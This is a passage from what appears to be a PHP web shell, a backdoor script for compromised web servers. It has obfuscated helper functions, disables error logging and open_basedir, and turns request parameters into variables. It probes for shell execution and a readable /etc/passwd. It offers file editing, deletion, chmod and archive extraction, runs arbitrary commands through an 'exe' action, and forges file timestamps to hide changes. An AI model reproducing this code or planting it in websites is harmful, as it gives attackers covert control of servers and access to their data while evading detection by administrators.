5732 } elseif (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ](.*)/",
5733 $raw, $m)) {
5734 $l = array(($m[1] == 'd' ? 'd' : ($m[1] == 'l' ? 'l' : 'f')), $m[9], $m[6]);
5735 } else {
5736 $l = array();
5737 }
5738 if (!@isset($l[1]) || $l[1] == "." || $l[1] == ".." || @substr($raw, 0, 5) ==
5739 "total")
5740 return array();
5741 return $l;
5742 }
5743 function ftpRawList($dir = '')
5744 {
5745 if ($dir == '')
5746 $dir = $this->currentDir;
5747 $files = array();
5748 $list = @ftp_rawlist($this->connection, "-a " . $dir);
5749 if (@is_array($list)) {
5750 $i = 0;
5751 foreach ($list as $raw) {
5752 $line = $this->parseline($raw);
5753 if (@count($line) == 3) {
5754 $files[$i] = $line;
5755 $i++;
5756 }
5757 }
5758 }
5759 return $files;
5760 }
5761}
5762if (@version_compare(@phpversion(), '4.1.0') == -1) {
5763 $_POST = &$HTTP_POST_VARS;
5764 $_GET = &$HTTP_GET_VARS;
5765 $_SERVER = &$HTTP_SERVER_VARS;
5766 $_COOKIE = &$HTTP_COOKIE_VARS;
5767}
5768if (@isset($_GET['act']) && $_GET['act'] == "i") {
5769 $img = $_GET['img'];
5770 if (!@isset($_GET['getall'])) {
5771 $img = @str_replace("~", "", $img);
5772 foreach ($index as $k => $v) {
5773 if (@in_array($img, $v)) {
5774 $img = $k;
5775 break;
5776 }
5777 }
5778 if (@empty($images[$img])) {
5779 $img = "small_unk";
5780 if (@isset($_GET['exe']) && $_GET['exe'])
5781 $img = "cmd";
5782 }
5783 $image = z9n($images[$img]);
5784 @ob_start();
5785 $len = @strlen($image);
5786 @header("Cache-control: public");
5787 @header("Expires: " . @date("r", @mktime(0, 0, 0, 1, 1, 2030)));
5788 @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
5789 @header('Last-Modified: ' . @date('r'));
5790 @header('Accept-Ranges: bytes');
5791 @header('Content-Length: ' . $len);
5792 @header('Content-type: image/png');
5793 echo $image;
5794 @ob_end_flush();
5795 } else {
5796 z3l();
5797 $r = '';
5798 foreach ($index as $a => $b) {
5799 foreach ($b as $d) {
5800 if ($a != $d) {
5801 if (@isset($images[$d]) && !@empty($images[$d])) {
5802 $r .= z7i(z9j("Remove \$images[" . $d . "]"));
5803 }
5804 }
5805 }
5806 }
5807 if ($r != '')
5808 echo z10e($r);
5809 @natsort($images);
5810 $k = @array_keys($images);
5811 $n = 1;
5812 $r = '';
5813 foreach ($k as $u)
5814 $r .= z7i(z9j(($n++)) . z9j($u) . z9j('<img alt="" src="?act=i&img=' . $u .
5815 '" border="0">'));
5816 echo z10e($r);
5817 z3x();
5818 }
5819 exit();
5820}
5821if (@function_exists('error_reporting')) {
5822 @error_reporting(0);
5823}
5824if (@function_exists('ini_set')) {
5825 @ini_set('display_errors', 0);
5826 @ini_set('error_log', null);
5827 @ini_set('log_errors', 0);
5828 @ini_set('file_uploads', 1);
5829 @ini_set('assert.quiet_eval', 0);
5830 @ini_set('allow_url_fopen', 1);
5831 @ini_set('memory_limit', '256M');
5832 @ini_set('upload_max_filesize', '256M');
5833 @ini_set('register_globals', 0);
5834 @ini_set('magic_quotes_sybase', 0);
5835 @ini_set('magic_quotes_runtime', 0);
5836 @ini_set('magic_quotes_gpc', 0);
5837 @ini_set('open_basedir', null);
5838} elseif (function_exists('ini_alter')) {
5839 @ini_alter('display_errors', 0);
5840 @ini_alter('error_log', null);
5841 @ini_alter('log_errors', 0);
5842 @ini_alter('file_uploads', 1);
5843 @ini_alter('allow_url_fopen', 1);
5844 @ini_alter('memory_limit', '256M');
5845 @ini_alter('upload_max_filesize', '256M');
5846 @ini_alter('register_globals', 0);
5847 @ini_alter('magic_quotes_sybase', 0);
5848 @ini_alter('magic_quotes_runtime', 0);
5849 @ini_alter('magic_quotes_gpc', 0);
5850 @ini_alter('open_basedir', null);
5851}
5852if (@function_exists('set_time_limit')) {
5853 @set_time_limit(0);
5854} elseif (@function_exists('ini_set')) {
5855 @ini_set('max_execution_time', 300);
5856} elseif (function_exists('ini_alter')) {
5857 @ini_alter('max_execution_time', 300);
5858}
5859if (@function_exists('set_magic_quotes_runtime')) {
5860 @set_magic_quotes_runtime(0);
5861}
5862if (get_magic_quotes_gpc()) {
5863 if (@isset($_FILES) && @count($_FILES) > 0) {
5864 z3y($_FILES);
5865 }
5866 z4h($GLOBALS);
5867}
5868@session_start();
5869@ob_start();
5870define("start", z10r());
5871if (@isset($_SESSION['tmps'])) {
5872 $tmps = $_SESSION['tmps'];
5873} else {
5874 $tmps = z6k();
5875 $_SESSION['tmps'] = $tmps;
5876}
5877$tempdir = $tmps[0];
5878foreach ($_POST as $postk => $postv) {
5879 if (@substr($postk, 0, 6) == "backf_") {
5880 $postk = @substr($postk, 6);
5881 $postv = @urldecode($postv);
5882 }
5883 if ($postk == 'merged') {
5884 $ar_merged = parse_str(base64_decode($postv));
5885 if (@count($ar_merged) > 0) {
5886 foreach ($ar_merged as $kkey => $kval) {
5887 if (!@isset(${$kkey})) {
5888 ${$kkey} = @urldecode($kval);
5889 }
5890 }
5891 }
5892 } else {
5893 if (!@isset(${$postk})) {
5894 ${$postk} = $postv;
5895 }
5896 }
5897}
5898foreach ($_GET as $k => $v) {
5899 if (!@isset(${$k})) {
5900 ${$k} = @urldecode($v);
5901 }
5902}
5903if (!@isset($act))
5904 $act = z7x('2', 'default_act');
5905if ($act == "logout")
5906 z4y();
5907z4g();
5908$win = $nix = $linux = 0;
5909$os = z9a();
5910if (@preg_match("/^win/i", $os)) {
5911 $win = 1;
5912} else {
5913 $nix = 1;
5914 if (@preg_match("/linux/i", $os))
5915 $linux = 1;
5916}
5917$sh_exec = $safe_exec = 0;
5918$test_cmd = z9t("echo z_testexec");
5919if (@strpos($test_cmd, "exec") === 6) {
5920 $sh_exec = 1;
5921} elseif ($nix && @preg_match('/successfully executed/', $test_cmd)) {
5922 $safe_exec = 1;
5923}
5924$cuser = z5k();
5925$saddr = (@isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (@isset($_SERVER['SERVER_NAME']) ?
5926 $_SERVER['SERVER_NAME'] : '127.0.0.1'));
5927$yaddr = $_SERVER["REMOTE_ADDR"];
5928$bsafe = ((!z7r('ini_get') || z8l('safe_mode') || !$sh_exec) ? 1 : 0);
5929$bopendir = (@count(z9d(@ini_get('open_basedir'))) > 0 ? 1 : 0);
5930$a_sql = array();
5931$bmysql = z7r("mysql_connect");
5932if ($bmysql)
5933 $a_sql[] = "MySQL";
5934$bmssql = z7r("mssql_connect");
5935if ($bmssql)
5936 $a_sql[] = "MsSQL";
5937$boracle = z7r("ocilogon");
5938if ($boracle)
5939 $a_sql[] = "Oracle";
5940$bpostgres = z7r("pg_connect");
5941if ($bpostgres)
5942 $a_sql[] = "PostgreSQL";
5943$bpasswd = 0;
5944if ($nix) {
5945 if (z0n("/etc/passwd"))
5946 $bpasswd = 1;
5947}
5948$bcurl = (@extension_loaded('curl') && z7r("curl_init"));
5949$bfsock = z7r("fsockopen");
5950$bftp = (z7r("ftp_connect") && z7r("ftp_login"));
5951$bmail = z7r("mail");
5952$bziparchive = (z7r("class_exists") && @class_exists("ZipArchive"));
5953$dtotal = $dused = $dfree = '0B';
5954if ($act == "d") {
5955 if (@isset($dt)) {
5956 $dt = @trim($dt);
5957 if (!@empty($dt)) {
5958 switch ($dt) {
5959 case 'new':
5960 if (!z4j($d)) {
5961 @mkdir($d);
5962 }
5963 $act = "ls";
5964 break;
5965 case 'chdir':
5966 if (@isset($tt) && z4j($tt)) {
5967 $d = $tt;
5968 }
5969 $act = "ls";
5970 break;
5971 case 'rename':
5972 if (@isset($tt) && z4j($tt)) {
5973 if (@isset($drename) && $drename && @isset($newname) && !@empty($newname)) {
5974 if (z3p($newname) == './') {
5975 $newname = z3p($tt) . z2h($newname);
5976 } elseif (!z4q(z3p($newname))) {
5977 $newname = z3p($tt) . $newname;
5978 }
5979 if (z4q($newname) && z4j($newname)) {
5980 $newname = z1a($newname) . z2h($tt);
5981 }
5982 $rendirmsg = z2b((@rename($tt, $newname) ? z9s("474", $newname) : z9s("475", $tt)),
5983 '0');
5984 } else {
5985 $showrename1 = 1;
5986 }
5987 }
5988 $act = "ls";
5989 break;
5990 case 'delete':
5991 if (z4q($tt)) {
5992 z8d($tt);
5993 }
5994 $act = "ls";
5995 break;
5996 case 'functions':
5997 if (@isset($tt) && z4j($tt)) {
5998 $d = $tt;
5999 }
6000 $act = "dfunc";
6001 break;
6002 case 'bcopy':
6003 if (@isset($tt) && z4j($tt)) {
6004 $abuf = $dt;
6005 }
6006 $act = "ls";
6007 break;
6008 case 'bcut':
6009 if (@isset($tt) && z4j($tt)) {
6010 $abuf = $dt;
6011 }
6012 $act = "ls";
6013 break;
6014 case 'bpastecopy':
6015 $abuf = $dt;
6016 if (@isset($tt) && z4j($tt)) {
6017 $d = $tt;
6018 }
6019 $act = "ls";
6020 break;
6021 case 'bpastecut':
6022 $abuf = $dt;
6023 if (@isset($tt) && z4j($tt)) {
6024 $d = $tt;
6025 }
6026 $act = "ls";
6027 break;
6028 case 'bpasteall':
6029 $abuf = $dt;
6030 if (@isset($tt) && z4j($tt)) {
6031 $d = $tt;
6032 }
6033 $act = "ls";
6034 break;
6035 default:
6036 break;
6037 }
6038 }
6039 }
6040}
6041if (!@isset($d) || @empty($d)) {
6042 $d = @realpath(@dirname(__file__));
6043 z10q();
6044} elseif (@realpath($d)) {
6045 $d = @realpath($d);
6046 z10q();
6047} elseif (@isset($dold) && @realpath(z1a($dold) . $d)) {
6048 $d = @realpath(z1a($dold) . $d);
6049}
6050if (@empty($d))
6051 $d = @getcwd();
6052$d = z1a($d);
6053@chdir($d);
6054if (z7r('disk_free_space') && z7r('disk_total_space')) {
6055 $free = @disk_free_space($d);
6056 $total = @disk_total_space($d);
6057 if ($free === false)
6058 $free = 0;
6059 if ($total === false)
6060 $total = 0;
6061 if ($free < 0)
6062 $free = 0;
6063 if ($total < 0)
6064 $total = 0;
6065 $dfree = @str_replace(" ", "", z7c($free));
6066 $dtotal = @str_replace(" ", "", z7c($total));
6067 $dused = @str_replace(" ", "", z7c(($total - $free)));
6068}
6069$a_buf = array('bcopy', 'bcut');
6070$b_buf = array('bpastecopy', 'bpastecut', 'bpasteall');
6071if (!@isset($use_buffer)) {
6072 if (@isset($_SESSION['use_buffer'])) {
6073 $use_buffer = $_SESSION['use_buffer'];
6074 } else {
6075 $use_buffer = z7x('4');
6076 }
6077} else {
6078 $use_buffer = (bool)(int)$use_buffer;
6079 if (!$use_buffer)
6080 z0a();
6081}
6082$_SESSION['use_buffer'] = $use_buffer;
6083if ($nix && $sh_exec) {
6084 if (!@isset($cmd_tar)) {
6085 if (@isset($_SESSION['cmd_tar'])) {
6086 $cmd_tar = $_SESSION['cmd_tar'];
6087 } else {
6088 $cmd_tar = z8u("tar");
6089 }
6090 }
6091 $_SESSION['cmd_tar'] = $cmd_tar;
6092 if (!@isset($cmd_unrar)) {
6093 if (@isset($_SESSION['cmd_unrar'])) {
6094 $cmd_unrar = $_SESSION['cmd_unrar'];
6095 } else {
6096 $cmd_unrar = z8u("unrar");
6097 }
6098 }
6099 $_SESSION['cmd_unrar'] = $cmd_unrar;
6100 if (!@isset($cmd_unzip)) {
6101 if (@isset($_SESSION['cmd_unzip'])) {
6102 $cmd_unzip = $_SESSION['cmd_unzip'];
6103 } else {
6104 $cmd_unzip = z8u("unzip");
6105 }
6106 }
6107 $_SESSION['cmd_unzip'] = $cmd_unzip;
6108 if (!@isset($cmd_gunzip)) {
6109 if (@isset($_SESSION['cmd_gunzip'])) {
6110 $cmd_gunzip = $_SESSION['cmd_gunzip'];
6111 } else {
6112 $cmd_gunzip = z8u("gunzip");
6113 }
6114 }
6115 $_SESSION['cmd_gunzip'] = $cmd_gunzip;
6116 if (!@isset($cmd_bunzip2)) {
6117 if (@isset($_SESSION['cmd_bunzip2'])) {
6118 $cmd_bunzip2 = $_SESSION['cmd_bunzip2'];
6119 } else {
6120 $cmd_bunzip2 = z8u("bunzip2");
6121 }
6122 }
6123 $_SESSION['cmd_bunzip2'] = $cmd_bunzip2;
6124 if (!@isset($reg_archives)) {
6125 if (@isset($_SESSION['reg_archives'])) {
6126 $reg_archives = $_SESSION['reg_archives'];
6127 } else {
6128 $reg_archives = '';
6129 if (!@empty($cmd_unrar))
6130 $reg_archives .= "rar|";
6131 if (!@empty($cmd_unzip))
6132 $reg_archives .= "zip|";
6133 if (!@empty($cmd_tar) && !@empty($cmd_gunzip))
6134 $reg_archives .= "tar.gz|tgz|";
6135 if (!@empty($cmd_tar) && !@empty($cmd_bunzip2))
6136 $reg_archives .= "tar.bz2|";
6137 if (!@empty($cmd_tar))
6138 $reg_archives .= "tar|";
6139 if (!@empty($cmd_gunzip))
6140 $reg_archives .= "gz|";
6141 if (!@empty($cmd_bunzip2))
6142 $reg_archives .= "bz2|";
6143 if (!@empty($reg_archives))
6144 $reg_archives = @substr($reg_archives, 0, (@strlen($reg_archives) - 1));
6145 }
6146 }
6147 $_SESSION['reg_archives'] = $reg_archives;
6148}
6149if ($bziparchive) {
6150 if (!@isset($reg_archives)) {
6151 if (@isset($_SESSION['reg_archives'])) {
6152 $reg_archives = $_SESSION['reg_archives'];
6153 if (@empty($reg_archives)) {
6154 $reg_archives = "zip";
6155 } else {
6156 $r_e = @explode("|", $reg_archives);
6157 if (!@in_array("zip", $r_e))
6158 $reg_archives .= "|zip";
6159 }
6160 } else {
6161 $reg_archives = 'zip';
6162 }
6163 }
6164 $_SESSION['reg_archives'] = $reg_archives;
6165}
6166if (!@isset($color_skin)) {
6167 if (@isset($_SESSION['color_skin'])) {
6168 $color_skin = $_SESSION['color_skin'];
6169 } else {
6170 $color_skin = z7x('5', 'default_skin');
6171 }
6172}
6173$_SESSION['color_skin'] = $color_skin;
6174if (!@isset($use_images)) {
6175 if (@isset($_SESSION['use_images'])) {
6176 $use_images = $_SESSION['use_images'];
6177 } else {
6178 $use_images = z7x('5', 'images');
6179 }
6180} else {
6181 $use_images = (bool)(int)$use_images;
6182}
6183$_SESSION['use_images'] = $use_images;
6184if ($use_buffer) {
6185 if ($act == "f" && @in_array($ft, $a_buf)) {
6186 $act = 'ls';
6187 $abuf = $ft;
6188 $f = $d . $f;
6189 }
6190 if (@isset($emptybuf) && $emptybuf)
6191 z0a();
6192 z1g();
6193 if (@isset($abuf) && @in_array($abuf, $a_buf)) {
6194 if (@isset($tt))
6195 z1l($tt, $abuf);
6196 if (@isset($f))
6197 z1l($f, $abuf);
6198 } elseif (@isset($abuf) && @in_array($abuf, $b_buf)) {
6199 switch ($abuf) {
6200 case 'bpastecopy':
6201 if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) {
6202 foreach ($bcopy as $tcf) {
6203 if (z4q($tcf))
6204 z7b($tcf, (z4j($tcf) ? z1a($d) . z2h($tcf) : z1a($d)));
6205 }
6206 }
6207 break;
6208 case 'bpastecut':
6209 if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) {
6210 foreach ($bcut as $tcf) {
6211 if (z4q($tcf))
6212 z8a($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : ''));
6213 z1l($tcf, "bcut");
6214 }
6215 }
6216 break;
6217 case 'bpasteall':
6218 if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) {
6219 foreach ($bcopy as $tcf) {
6220 if (z4q($tcf))
6221 z7b($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : ''));
6222 }
6223 }
6224 if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) {
6225 foreach ($bcut as $tcf) {
6226 if (z4q($tcf))
6227 z8a($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : ''));
6228 z1l($tcf, "bcut");
6229 }
6230 }
6231 break;
6232 default:
6233 break;
6234 }
6235 }
6236 z1w();
6237 if (@isset($showbuf) && $showbuf) {
6238 $ls_a = @array_merge($bcopy, $bcut);
6239 }
6240}
6241z3l();
6242z3b();
6243z0s();
6244if ($act == "f" && @isset($ft) && ($ft == "extract" || $ft == "extractzip")) {
6245 $ff = '';
6246 if (z4q($d . $f)) {
6247 $ff = $d . $f;
6248 } elseif (z4q($f)) {
6249 $d = z3p($f);
6250 $f = z2h($f);
6251 $ff = $d . $f;
6252 }
6253 if (@isset($reg_archives) && $reg_archives != '' && @isset($ff)) {
6254 if (@preg_match('/\.(' . $reg_archives . ')$/i', $f, $m)) {
6255 if (@isset($m[1])) {
6256 if ($ft == "extract" && $sh_exec) {
6257 switch (@strtolower($m[1])) {
6258 case 'rar':
6259 z9t("unrar x $ff");
6260 break;
6261 case 'zip':
6262 z9t("unzip $ff");
6263 break;
6264 case 'tar.bz2':
6265 z9t("tar jxf $ff");
6266 break;
6267 case 'tar.gz':
6268 z9t("tar zxf $ff");
6269 break;
6270 case 'tgz':
6271 z9t("tar zxf $ff");
6272 break;
6273 case 'tar':
6274 z9t("tar xf $ff");
6275 break;
6276 case 'gz':
6277 z9t("gunzip $ff");
6278 break;
6279 case 'bz2':
6280 z9t("bunzip2 $ff");
6281 break;
6282 default:
6283 break;
6284 }
6285 } elseif ($ft == "extractzip") {
6286 echo z2b((z0j($ff, $d) ? z9s("476", $f) : z9s("477", $f)), '0');
6287 }
6288 }
6289 }
6290 }
6291 $act = "ls";
6292}
6293if (@isset($rendirmsg) && !@empty($rendirmsg))
6294 echo $rendirmsg;
6295if (@isset($showrename1) && $showrename1) {
6296 echo z2b(z5c(array("act" => "d", "d", "dt" => "rename", "tt", "drename" => "1"),
6297 z10e(z7i(z6x(z8e(z9s("473", z2h($tt))) . z5u("newname", $tt, "9") . z8v(z9s("73"),
6298 "7"))), "2")), '0');
6299}
6300if ($act == "f" && @isset($ft) && $ft == "rename" && @isset($f) && !@empty($f)) {
6301 if (@isset($frename) && $frename && @isset($newname) && !@empty($newname)) {
6302 if (z3p($newname) == './') {
6303 $newname = z3p($ff) . z2h($newname);
6304 } elseif (!z4q(z3p($newname))) {
6305 $newname = z3p($ff) . $newname;
6306 }
6307 if (z4q($newname) && z4j($newname)) {
6308 $newname = z1a($newname) . z2h($ff);
6309 }
6310 echo z2b((@rename($ff, $newname) ? z9s("474", $newname) : z9s("475", $ff)), '0');
6311 } else {
6312 if (!isset($ff)) {
6313 if (z4q($d . $f)) {
6314 $ff = $d . $f;
6315 } elseif (z4q($f)) {
6316 $ff = $f;
6317 }
6318 }
6319 echo z2b(z5c(array("act" => "f", "f", "d", "ft" => "rename", "ff", "frename" =>
6320 "1"), z10e(z7i(z6x(z8e(z9s("473", z2h($ff))) . z5u("newname", $ff, "9") . z8v(z9s
6321 ("73"), "7"))), "2")), '0');
6322 }
6323 $act = "ls";
6324} elseif ($act == "f" && @isset($ft) && $ft == "delete" && @isset($f) && !@empty
6325($f)) {
6326 $ff = '';
6327 if (z4q($d . $f)) {
6328 $ff = $d . $f;
6329 } elseif (z4q($f)) {
6330 $ff = $f;
6331 }
6332 if (z4q($ff))
6333 z8d($ff);
6334 $act = "ls";
6335}
6336if (($act == "dfunc" || $act == "f") && ((@isset($st1) && $st1) || @isset($st2) &&
6337 $st2)) {
6338 if ($act == "dfunc") {
6339 $touch = $d;
6340 } else {
6341 $touch = $f;
6342 }
6343 if (@isset($st2) && $st2 && !@empty($touch) && z4q($touch) && @isset($tmonth) &&
6344 !@empty($tmonth) && @isset($tday) && !@empty($tday) && @isset($tyear) && !@
6345 empty($tyear) && @isset($thour) && !@empty($thour) && @isset($tmin) && !@empty($tmin) &&
6346 @isset($tsec) && !@empty($tsec)) {
6347 $sdate = $tday . " " . $tmonth . " " . $tyear . " " . $thour . " hours " . $tmin .
6348 " minutes " . $tsec . " seconds";
6349 $tdate = @strtotime($sdate);
6350 if (@touch($touch, $tdate, $tdate)) {
6351 $tmsg = z9s("113", @date("M-d-Y H:i:s", $tdate));
6352 } else {
6353 $tmsg = z9s("114");
6354 }
6355 }
6356 if (@isset($st1) && $st1 && z4q($touch) && @isset($copy_from) && !@empty($copy_from) &&
6357 z4q($copy_from)) {
6358 if (@touch($touch, @filemtime($copy_from), @filemtime($copy_from))) {
6359 $tmsg = z9s("113", @date("M-d-Y H:i:s", @filemtime($copy_from)));
6360 } else {
6361 $tmsg = z9s("114");
6362 }
6363 }
6364}
6365if (@isset($chmod_submit) && $chmod_submit && @isset($ctarget)) {
6366 if (@isset($chmod_val)) {
6367 @chmod($ctarget, @octdec($chmod_val));
6368 } else {
6369 $octet = "0" . @base_convert(($chmod_o["r"] ? "1" : "0") . ($chmod_o["w"] ? "1" :
6370 "0") . ($chmod_o["x"] ? "1" : "0") . ($chmod_g["r"] ? "1" : "0") . ($chmod_g["w"] ?
6371 "1" : "0") . ($chmod_g["x"] ? "1" : "0") . ($chmod_w["r"] ? "1" : "0") . ($chmod_w["w"] ?
6372 "1" : "0") . ($chmod_w["x"] ? "1" : "0"), 2, 8);
6373 @chmod($ctarget, @octdec($octet));
6374 }
6375 if (z7r('clearstatcache'))
6376 @clearstatcache();
6377}
6378z8j();
6379if ($act == "dfunc") {
6380 z2z();
6381 z1q($d, 0, 1);
6382 if (z7r('touch')) {
6383 z2v();
6384 echo z2b(z9s("124") . z9c() . z4p($d));
6385 echo z10e(z5n() . (@isset($tmsg) && !@empty($tmsg) ? z7i(z5t(z9c()) . z9j($tmsg)) :
6386 '') . z7i(z5c(array("act", "d", "st1" => "1"), z5t(z9s("104")) . z9j(z5u("copy_from",
6387 "", "9") . z8v(z9s("112"), "7")))) . z7i(z5c(array("act", "d", "st2" => "1"),
6388 z5t(z9s("105")) . z9j(z4a("tmonth", $tmonth_arr, "4", 1) . "-" . z4a("tday", $tday_arr,
6389 "4", 1) . "-" . z4a("tyear", $tyear_arr, "4", 1) . z9c(12) . z4a("thour", $thour_arr,
6390 "1", 1) . ":" . z4a("tmin", $tmin_arr, "1", 1) . ":" . z4a("tsec", $tsec_arr,
6391 "1", 1) . z8v(z9s("112"), "7")))) . z5n(), "2");
6392 }
6393}
6394if ($act == "f" && @isset($ft)) {
6395 $ft = @trim($ft);
6396 if (@empty($ft))
6397 $act = "ls";
6398}
6399if ($act == "f") {
6400 if (!@isset($f))
6401 $f = '';
6402 if (!@isset($ft))
6403 $ft = '';
6404 if (@isset($readfile)) {
6405 $d = z3p($readfile);
6406 $f = z2h($readfile);
6407 } elseif (@isset($writefile)) {
6408 $d = z3p($writefile);
6409 $f = z2h($writefile);
6410 } elseif ($f != '') {
6411 $f0 = @substr($f, 0, 1);
6412 $f1 = @substr($f, 1, 1);
6413 if ($f0 == "/" || $f1 == ":") {
6414 $d = z3p($f);
6415 $f = z2h($f);
6416 }
6417 }
6418 $fmsg = '';
6419 if (!z4e($d . $f) && z4e($f)) {
6420 $d = z3p($f);
6421 $f = z2h($f);
6422 } elseif (z1a($f) == z1a($d)) {
6423 $f = '';
6424 $fmsg = z9s("472");
6425 } elseif (z3p($f) == z1a($d)) {
6426 $f = z2h($f);
6427 }
6428 z2z();
6429 if ((!z4j($d . $f) && z0n($d . $f)) || (!z4q($d . $f) && z0v($d) && @isset($ft) &&
6430 $ft == "new")) {
6431 $ext = @strtolower(z2h($f, '.'));
6432 $rft = z4x($f);
6433 if (@preg_match("/sess_(.*)/", $f)) {
6434 $rft = "sess";
6435 }
6436 if (!@isset($ft) || @empty($ft)) {
6437 $ft = $rft;
6438 }
6439 if ($ft == "new") {
6440 z9y($d . $f, "");
6441 $ft = "edit";
6442 }
6443 if ($ft == "rcown") {
6444 $rcmsg = " " . (z2q($d . $f) ? z5i(z9s("290")) : z8z(z9s("291")));
6445 $ft = "code";
6446 }
6447 if (@empty($ft))
6448 $ft = 'functions';
6449 echo z2b(z9s("78") . z9c() . ($use_images ? '<img src="?act=i&img=' . $ext .
6450 '"> ' : '') . z4p($d . $f . " (" . z7c(@filesize($d . $f)) . ")") . (@isset($rcmsg) ?
6451 $rcmsg : ''));
6452 z2j();
6453 if (($ft != 'functions' || ($ft == 'functions' && @isset($submit_encode))) && $ft !=
6454 'ini')
6455 $r = z9p($d . $f);
6456 switch ($ft) {
6457 case 'functions':
6458 echo z2b(z9s("90"));
6459 echo z6d();
6460 $encode_functions = z0x();
6461 echo z9m('2') . z9l() . z9b("d") . z9b("act", "f") . z9b("f") . z9b("ft",
6462 "functions") . z9b("submit_encode", "1") . z7i(z5t(z9s("91")) . z9j(z4a("encode_selected",
6463 $encode_functions, "0", 1, '9') . z8v(z9s("92"), '7'))) . z9z();
6464 $encoder_output = "";
6465 if (@isset($submit_encode) && $submit_encode) {
6466 $encoder_output = $encode_selected($r);
6467 echo z9f(z5t(z9s("102")) . z9j(z5w('', '1') . @htmlspecialchars($encoder_output) .
6468 z5q()));
6469 }
6470 echo z10w();
6471 echo z6d();
6472 z1q($d . $f);
6473 if (z7r('touch')) {
6474 z2v();
6475 echo z2b(z9s("103"));
6476 echo z10e(z5n() . (@isset($tmsg) && !@empty($tmsg) ? z7i(z5t(z9c()) . z9j($tmsg)) :
6477 '') . z7i(z5c(array("act", "d", "f", "ft" => "functions", "st1" => "1"), z5t(z9s
6478 ("104")) . z9j(z5u("copy_from", "", "9") . z8v(z9s("112"), "7")))) . z7i(z5c(array
6479 ("act", "d", "f", "ft" => "functions", "st2" => "1"), z5t(z9s("105")) . z9j(z4a
6480 ("tmonth", $tmonth_arr, "4", 1) . "-" . z4a("tday", $tday_arr, "4", 1) . "-" .
6481 z4a("tyear", $tyear_arr, "4", 1) . z9c(12) . z4a("thour", $thour_arr, "1", 1) .
6482 ":" . z4a("tmin", $tmin_arr, "1", 1) . ":" . z4a("tsec", $tsec_arr, "1", 1) .
6483 z8v(z9s("112"), "7")))) . z5n(), "2");
6484 }
6485 break;
6486 case 'edit':
6487 $msg = "";
6488 if (@isset($save) && $save) {
6489 $msg = (z9y($d . $f, $txtedit) ? z9s("243") : z9s("450"));
6490 $r = z9p($d . $f);
6491 }
6492 echo z5c(array("act" => "f", "d", "f", "ft" => "edit", "save" => "1"), z10e(z9f
6493 (z6x(z5w('txtedit', '2') . @htmlspecialchars($r) . z5q() . z9x() . z5x("left",
6494 "3") . z8e(z9s("115")) . '<input type="text" id="replace_a" class="' . z4m('5',
6495 '4') . '">' . z9c(5) . z8e(z9s("116")) .
6496 '<input type="text" id="replace_b" class="' . z4m('5', '4') . '">' . z8m(z9s("117"),
6497 'fnc_replace(\'txtedit\',\'replace_a\',\'replace_b\');', "7") .
6498 '<input type="reset" value="' . z9s("118") . '" class="' . z4m('7', '5') . '">' .
6499 z8v(z9s("119"), "7") . z9c() . z8e($msg) . z5j())), "2"));
6500 echo z6d();
6501 break;
6502 case 'text':
6503 echo z10e(z9f(z6x('<pre>' . @htmlspecialchars($r) . '</pre>')), '2');
6504 break;
6505 case 'web':
6506 $url = z8o();
6507 $url_a = @parse_url($url);
6508 if (@isset($url_a["host"])) {
6509 $host = $url_a["host"];
6510 if (($wwwdir = z3k()) !== false) {
6511 if (@strstr($d . $f, $wwwdir) !== false) {
6512 $link = "http://" . $host . "/" . @substr($d . $f, @strlen($wwwdir));
6513 echo z10e(z9f(z6x('<iframe border="0" class="iframe" src="' . $link . '">' . z9s
6514 ("471") . '</iframe>')) . z5n(), '2');
6515 }
6516 }
6517 }
6518 break;
6519 case 'html':
6520 if (@isset($white) && $white) {
6521 @ob_clean();
6522 echo $r;
6523 @exit();
6524 } else {
6525 echo z10e(z9f(z6x('<iframe border="0" class="iframe" src="?act=f&f=' . @
6526 urlencode($f) . '&d=' . @urlencode($d) . '&white=1&ft=html">' . z9s("471") .
6527 '</iframe>')) . z5n(), '2');
6528 }
6529 break;
6530 case 'htmls':
6531 if (@isset($white) && $white) {
6532 $r = @preg_replace('#\b(on(?<!\.on)[a-z]{2,20})\s*=\s*([\\\'"])?((?(2)(?(?<=")[^"]{1,1000}|[^\\\']{1,1000})|[^\s"\\\'>]{1,1000}))(?(2)\\2|)#i',
6533 '', $r);
6534 $r = @preg_replace('#(<script[^>]*>.*?</script>|<[/]*noscript>|<meta\s(.*?)>)#is',
6535 '', $r);
6536 $r = @preg_replace('#\b(href(?<!\.))\s*=\s*([\\\'"])?javascript:#i', 'href=\\2#javascript:',
6537 $r);
6538 @ob_clean();
6539 echo $r;
6540 @exit();
6541 } else {
6542 echo z10e(z9f(z6x('<iframe border="0" class="iframe" src="?act=f&f=' . @
6543 urlencode($f) . '&d=' . @urlencode($d) . '&white=1&ft=htmls">' . z9s("471") .
6544 '</iframe>')) . z5n(), '2');
6545 }
6546 break;
6547 case 'code':
6548 echo z6z('', '2') . z7p() . z6w();
6549 z1x($r, $ext);
6550 echo z7g() . z7u() . z10w();
6551 break;
6552 case 'exe':
6553 if (!@isset($ecmd)) {
6554 $ext = z2h($f, '.');
6555 $ecmd = $d . $f;
6556 foreach ($execaliases as $ek => $ev) {
6557 if (@in_array(@strtolower($ext), $ev)) {
6558 $ecmd = @str_replace("%f%", $ecmd, $ek);
6559 break;
6560 }
6561 }
6562 }
6563 echo z5c(array("act" => "f", "ft" => "exe", "d", "f", "exec" => "1"), z10e(z5n() .
6564 z7i(z6x(z8e(z9s("120")) . z5u('ecmd', '', "9") . z8v(z9s("99"), "7"))) . z5n(),
6565 "2"));
6566 if (@isset($exec) && $exec && !@empty($ecmd)) {
6567 echo z9m("2") . z6g() . z6w() . z5w('', "1");
6568 $res = z9t($ecmd);
6569 echo $res;
6570 echo z5q() . z7g() . z7u() . z5n() . z10w();
6571 }
6572 break;
6573 case 'sess':
